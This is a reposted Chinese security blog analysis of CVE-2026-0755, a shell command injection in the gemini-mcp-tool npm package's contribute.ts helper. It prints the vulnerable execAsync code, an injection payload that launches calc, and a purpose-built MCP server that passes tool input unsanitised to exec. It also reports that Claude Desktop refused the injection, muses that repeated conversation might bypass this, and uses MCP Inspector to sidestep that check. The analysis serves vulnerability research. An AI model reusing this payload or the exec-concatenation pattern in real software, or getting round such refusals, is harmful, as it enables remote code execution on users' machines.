gemini-mcp-tool命令注入漏洞深度分析(CVE-2026-0755)

admin 2026-02-08 01:12:52 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了CVE-2026-0755中gemini-mcp-tool的命令注入漏洞,影响1.1.2及以下版本。漏洞源于contribute.ts未清洗用户输入直接拼接shell命令。虽默认为本地CLI工具,但作者演示了通过封装MCP服务进行利用的过程,并指出ClaudeAI防护层可拦截此类攻击,建议加强输入验证与代码审计。 综合评分: 91 文章分类: 漏洞分析,代码审计,漏洞POC,AI安全,渗透测试


cover_image

gemini-mcp-tool 命令注入漏洞深度分析(CVE-2026-0755)

原创

标准云 标准云

蚁景网络安全

2026年2月6日 17:37 湖南

一次从发现到利用的安全漏洞分析之旅

在浏览安全资讯的时候,我偶然间看到了 CVE-2026-0755,这是一个关于 gemini-mcp-tool 的命令注入漏洞。对MCP 协议不太了解,我心里充满了疑问:

  • MCP 到底是什么?为什么会有这样的协议?
  • gemini-mcp-tool 是干什么用的?
  • execAsync 命令注入是如何发生的?
  • 更重要的是:这个漏洞要怎么挖掘和触发?⭐⭐⭐⭐⭐

漏洞简介

gemini-mcp-tool 是一个开源的 npm 包,用于在 Claude Desktop 等 MCP 客户端中集成 Google Gemini AI。该工具允许用户通过 MCP 协议调用 Gemini 的各种能力。在 gemini-mcp-tool 的 contribute.ts 文件中,存在一个命令执行漏洞。该漏洞源于用户输入缺乏充分验证,直接将用户输入拼接到 shell 命令中执行。

影响版本≤ 1.1.2

⚠️ 重要说明:漏洞位于 contribute.ts,该文件并没有直接作为 MCP 服务暴露。它是 gemini-mcp-tool 项目的贡献者辅助工具,它是一个交互式终端UI,一个独立的命令行工具。因此,默认情况下,这个漏洞无法通过 Claude Desktop 等 MCP 客户端直接触发。

MCP 详解

什么是 MCP? MCP(Model Context Protocol,模型上下文协议)是一种用于连接大型语言模型(LLM)与外部数据源、工具的开放标准协议。能够让 AI 模型(如 Claude、Gemini)能够安全地访问和使用外部工具、数据源和服务。

它解决了一个核心问题:

💡如何让 AI 像人类一样使用工具?比如搜索网页、读取文件、操作数据库、调用 API 等。

MCP 架构图

MCP 的完整工作流程

MCP Server 的配置与启动

MCP Server 本质上就是一个普通的程序(可以是 Node.js、Python 等编写),它通过标准输入/输出(stdio) 或网络与客户端通信。

要让 Claude Desktop 使用某个 MCP Server,需要在配置文件中注册。

  • Claude Desktop 配置文件位置:

  • macOS: ~/Library/Application Support/Claude/claude_desktop_config.json

  • Windows: %APPDATA%\Claude\claude_desktop_config.json

  • Linux: ~/.config/claude/claude_desktop_config.json

典型配置示例:

{
  "mcpServers": {
    "my-tool": {
      "command": "node",
      "args": ["/path/to/server.js"]
    }
  }
}

| 参数 | 说明 | | — | — | | mcpServers | 所有 MCP Server 的注册表 | | my-tool | 给这个 MCP Server 起的名字(可任意命名) | | command | 启动 MCP Server 所需的可执行文件(如 node,python3) | | args | 传给命令的参数(如 MCP Server 的脚本路径) |

🔑 关键点:  当 Claude Desktop 启动时,它会读取这个配置,并自动在本地启动这些 MCP Server 程序。

漏洞复现&分析

在 CVE 描述中提到了 execAsync 命令注入 我们直接在代码中搜索 execAsync

只有文件 src/contribute.ts 存在这个函数的定义和调用

import { spawn, exec } from "child_process";

代码导入了 Node.js 的 child_process模块,这是 Node.js 提供的子进程管理模块,允许在 Node.js 中执行系统命令。

const&nbsp;execAsync&nbsp;=&nbsp;(command: string): Promise<string> => {
&nbsp;&nbsp;return&nbsp;new&nbsp;Promise((resolve, reject) => {
&nbsp; &nbsp; exec(command, (error, stdout, stderr) => {
&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(error) {
&nbsp; &nbsp; &nbsp; &nbsp; reject(new&nbsp;Error(`${error.message}\n${stderr}`));
&nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; resolve(stdout.trim());
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; });
&nbsp; });
};

命令执行的核心封装,通过 exec 创建子 shell 进程,执行命令,捕获 stdout/stderr

在菜单中选择 Create Feature Branch 后

这个函数的核心作用是帮助开发者在 Git 仓库中自动创建新的功能分支。整个过程首先会在终端显示一个绿色加粗的标题,告诉用户正在创建分支。然后通过 inquirer.prompt() 这个交互式命令行工具来获取用户输入的功能名称。

当程序执行到 await inquirer.prompt 这一行时:inquirer.prompt() 会在终端显示一个输入框,然后程序会完全暂停执行,等待用户输入内容并按下回车键。用户输入完成后,inquirer.prompt() 会返回一个对象,通过解构赋值 ${featureName} 可以提取出用户输入的功能名称。

拿到用户输入后,程序使用模板字符串来拼接完整的分支名。模板字符串使用反引号包裹的字符串,它最大的特点时可以在字符串中使用 来嵌入变量。当程序执行{featureName}` 时,${featureName} 这个占位符会在运行时被替换成变量的实际值。

接下来函数会执行一系列 Git 命令。execAsync 函数:会启动一个子进程,在这个子进程中运行传入的 shell 命令(就像在终端中手动输入命令一样),然后等待命令执行完成。每个 await execAsync 都会让程序暂停,直到对应的命令执行完毕才继续下一步。

虽然分支名用双引号包裹了,但这种防护是不充分的。问题的根源在于:用户输入在传递给 shell 执行之前,没有经过转义处理或严格的输入验证。可以通过在输入中插入双引号来提前闭合原有的字符串边界,然后利用 shell 的特殊字符(如 &、;、|、` 等)注入并执行任意命令。

这个工具本质上是一个命令行自动化脚本的图形化封装,通过 Node.js 的子进程能力,将复杂的 Git 工作流程简化为菜单选择操作。

cd gemini-mcp-tool-1.1.2&nbsp;# 进入项目根目录

git init &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 初始化 git 仓库
git add . &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 将所有文件添加
git commit -m&nbsp;"init"&nbsp; &nbsp; &nbsp;# 创建初始提交
git branch -M main &nbsp; &nbsp; &nbsp; # 将默认分支重命名为 main

git remote add upstream . # 添加一个假的 upstream(避免 pull upstream 报错)

npx ts-node src/contribute.ts # 启动程序

# 选择&nbsp;"Create Feature Branch"&nbsp;选项来创建功能分支

&nbsp;test" & calc & echo "&nbsp; &nbsp; &nbsp; &nbsp; # 输入 payload

💭 疑问:contribute.ts 只是一个需要手动运行的 CLI 工具,用户必须主动输入恶意 payload。我们要怎样配置才可以让它变成远程代码执行?

我们将代码稍微修改使其变成一个可被远程访问的 mcp 服务

git-workflow-helper.ts

#!/usr/bin/env node

/**
&nbsp;* Git 工作流助手 - MCP 服务器
&nbsp;*
&nbsp;* 提供常用的 Git 工作流操作,帮助开发者快速创建功能分支
&nbsp;*/

import&nbsp;{ Server } from&nbsp;"@modelcontextprotocol/sdk/server/index.js";
import&nbsp;{ StdioServerTransport } from&nbsp;"@modelcontextprotocol/sdk/server/stdio.js";
import&nbsp;{
&nbsp; CallToolRequestSchema,
&nbsp; ListToolsRequestSchema,
} from&nbsp;"@modelcontextprotocol/sdk/types.js";
import&nbsp;{ exec } from&nbsp;"child_process";

// ========================================
// 核心功能实现
// ========================================

/**
&nbsp;* 执行 shell 命令的辅助函数
&nbsp;*/
const&nbsp;execAsync&nbsp;=&nbsp;(command: string, cwd?: string): Promise<string> => {
return&nbsp;new&nbsp;Promise((resolve, reject) => {
&nbsp; &nbsp; exec(command, { cwd }, (error, stdout, stderr) => {
&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(error) {
&nbsp; &nbsp; &nbsp; &nbsp; reject(new&nbsp;Error(`${error.message}\n${stderr}`));
&nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; resolve(stdout.trim());
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; });
&nbsp; });
};

/**
&nbsp;* 创建功能分支
&nbsp;*
&nbsp;* 自动从主分支创建新的功能分支,并确保代码是最新的
&nbsp;*
&nbsp;*&nbsp;@param&nbsp;featureName - 功能名称,将自动添加 feature/ 前缀
&nbsp;*&nbsp;@returns&nbsp;操作结果消息
&nbsp;*/
async function&nbsp;createFeatureBranch(featureName: string): Promise<string> {
try&nbsp;{
&nbsp; &nbsp;&nbsp;const&nbsp;gitRepo&nbsp;=&nbsp;process.env.GIT_REPO_PATH || process.cwd();
&nbsp; &nbsp;&nbsp;const&nbsp;branchName&nbsp;=&nbsp;`feature/${featureName}`;

&nbsp; &nbsp;&nbsp;// 切换到主分支
&nbsp; &nbsp; await&nbsp;execAsync("git checkout main", gitRepo);

&nbsp; &nbsp;&nbsp;// 拉取最新更新
&nbsp; &nbsp; await&nbsp;execAsync("git pull upstream main", gitRepo);

&nbsp; &nbsp;&nbsp;// 创建并切换到新分支
&nbsp; &nbsp; await&nbsp;execAsync(`git checkout -b&nbsp;"${branchName}"`, gitRepo);

&nbsp; &nbsp;&nbsp;return&nbsp;`✅ Branch created successfully: ${branchName}`;
&nbsp; }&nbsp;catch&nbsp;(error) {
&nbsp; &nbsp;&nbsp;if&nbsp;(error&nbsp;instanceof&nbsp;Error) {
&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;`❌ Branch creation failed: ${error.message}`;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;`❌ Unknown error occurred`;
&nbsp; }
}

// ========================================
// MCP 服务器配置
// ========================================

const&nbsp;server&nbsp;=&nbsp;new&nbsp;Server(
&nbsp; {
&nbsp; &nbsp; name:&nbsp;"git-workflow-helper",
&nbsp; &nbsp; version:&nbsp;"1.0.0",
&nbsp; },
&nbsp; {
&nbsp; &nbsp; capabilities: {
&nbsp; &nbsp; &nbsp; tools: {},
&nbsp; &nbsp; },
&nbsp; }
);

/**
&nbsp;* 注册可用工具
&nbsp;*/
server.setRequestHandler(ListToolsRequestSchema, async () => {
return&nbsp;{
&nbsp; &nbsp; tools: [
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; name:&nbsp;"create_feature_branch",
&nbsp; &nbsp; &nbsp; &nbsp; description:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Create a new Git feature branch from main. Automatically pulls latest changes and creates a properly named feature branch.",
&nbsp; &nbsp; &nbsp; &nbsp; inputSchema: {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type:&nbsp;"object",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; properties: {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; feature_name: {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type:&nbsp;"string",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; description:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Name of the feature (e.g., add-login-page, fix-bug-123, update-documentation). Do not include 'feature/' prefix as it will be added automatically.",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; required: ["feature_name"],
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; ],
&nbsp; };
});

/**
&nbsp;* 处理工具调用
&nbsp;*/
server.setRequestHandler(CallToolRequestSchema, async (request) => {
if&nbsp;(request.params.name ===&nbsp;"create_feature_branch") {
&nbsp; &nbsp;&nbsp;const&nbsp;featureName&nbsp;=&nbsp;request.params.arguments?.feature_name as string;

&nbsp; &nbsp;&nbsp;if&nbsp;(!featureName) {
&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; content: [
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type:&nbsp;"text",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; text:&nbsp;"❌ Error: feature_name parameter is required",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; ],
&nbsp; &nbsp; &nbsp; };
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;const&nbsp;result&nbsp;=&nbsp;await&nbsp;createFeatureBranch(featureName);

&nbsp; &nbsp;&nbsp;return&nbsp;{
&nbsp; &nbsp; &nbsp; content: [
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type:&nbsp;"text",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; text: result,
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; ],
&nbsp; &nbsp; };
&nbsp; }

return&nbsp;{
&nbsp; &nbsp; content: [
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; type:&nbsp;"text",
&nbsp; &nbsp; &nbsp; &nbsp; text: `❌ Unknown tool: ${request.params.name}`,
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; ],
&nbsp; };
});

// ========================================
// 启动服务器
// ========================================

async function&nbsp;main()&nbsp;{
const&nbsp;transport&nbsp;=&nbsp;new&nbsp;StdioServerTransport();
&nbsp; await server.connect(transport);

&nbsp; console.error("Git Workflow Helper started");
&nbsp; console.error("Ready to assist with Git operations");
&nbsp; console.error(`Working directory: ${process.env.GIT_REPO_PATH || process.cwd()}`);
}

main().catch((error) => {
&nbsp; console.error("Fatal error:", error);
&nbsp; process.exit(1);
});
npm install --save-dev typescript
npx tsc src/git-workflow-helper.ts --outDir dist --module&nbsp;commonjs --target es2020 --esModuleInterop
move dist\git-workflow-helper.js dist\git-workflow-helper.cjs

Claude Desktop 利用失败

我们发现在 Claude Desktop 上利用失败了,是因为 Claude AI 的智能安全防护层会自动识别和拒绝危险操作,即使 MCP 工具本身有漏洞,Claude 也会拒绝执行看起来像是命令注入的操作。(或许可以通过多次对话绕过安全识别)

我们可以通过 MCP Inspector(Model Context Protocol官方调试工具),它只是一个技术调试工具,直接传递数据,没有任何安全判断机制,纯粹用于开发者测试 MCP 工具的原始功能,能够精确展示 MCP 工具本身的漏洞,而不会被上层 AI 安全机制拦截。

npx&nbsp;@modelcontextprotocol/inspector node dist/git-workflow-helper.cjs


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蚁景网络安全 标准云 标准云《gemini-mcp-tool 命令注入漏洞深度分析(CVE-2026-0755)》

评论:0   参与:  0